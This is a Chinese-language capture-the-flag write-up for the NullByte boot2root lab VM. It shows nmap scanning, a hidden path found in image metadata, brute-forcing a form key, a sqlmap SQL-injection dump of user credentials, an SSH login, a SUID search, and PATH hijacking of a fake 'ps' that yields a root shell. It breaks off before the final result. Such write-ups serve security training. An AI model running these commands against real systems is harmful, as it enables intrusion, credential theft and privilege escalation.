靶机下载地址:戳我
Codename: NB0x01
Download: ly0n.me/nullbyte/NullByte.ova.zip
Objetcive: Get to /root/proof.txt and follow the instructions.
Level: Basic to intermediate.
Description: Boot2root, box will get IP from dhcp, works fine with virtualbox&vmware.
Hints: Use your lateral thinking skills, maybe you’ll need to write some code.
0x00 信息收集
使用kali的fping命令探测存活主机,得到该靶机的IP为192.168.187.137。
使用nmap探测端口的开放情况:nmap -sS -A -p 1-65535 192.168.187.137
80端口号哈人q q,有phpmyadmin和upload,但是登录不进去没有权限。
这里挺坑的,把重要信息隐藏在这个大眼睛下面:
可以看到Comment字段有一个“P-): kzMb5nVYJw”字样,使用“kzMb5nVYJw”作为路径去访问,得到一个登录框页面,让输入key。
看了下源代码还有一行提示:此表单未连接到mysql,密码没有那么复杂:
<!-- this form isn't connected to mysql, password ain't that complex --!>
0x01 获取权限
找到了关键路径和提示就开始嗯爆呗0.0,勾选五个字母的单词可以得到正确答案是elite:
简单测试了一下页面存在注入:
整,发现账号密码:
python3 sqlmap.py -r /root/Desktop/del.txt -D seth -T users --dump --batch
base64→md5得到明文:omega
用ramses/omega这个号登录phpmyadmin失败了,但成功登录ssh:
0x02 提升权限
找到正在系统上运行的所有SUID可执行文件:
find / -user root -perm -4000 -print 2>/dev/null
注意到一个可疑的/var/www/backup/procwatch:
该程序执行后结果显示如下,可以看到执行了sh和ps命令:
ramses@NullByte:/var/www/backup$ ./procwatch PID TTY TIME CMD 1566 pts/0 00:00:00 procwatch 1567 pts/0 00:00:00 sh 1568 pts/0 00:00:00 ps
系统寻找可执行文件的时候是从环境变量指定的目录中一个个找的,谁写在前面便会先去这个目录找,找到了就不继续找,找不到再继续去下一个目录找,直到没找到。
且执行ps命令时,procwatch会先去环境变量指定的路径中寻找文件,根据这个特性,可以伪造一个内容为/bin/sh的ps文件,放在环境变量的路径中^^:
echo /bin/sh > ps #伪造ps文件 chmod 777 ps #赋予权限 export PATH=/var/www/backup:${PATH} #将/var/www/backup添加到环境变量
现在环境变量的目录顺序:
ramses@NullByte:/var/www/backup$ echo $PATH /var/www/backup:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
再次执行即可: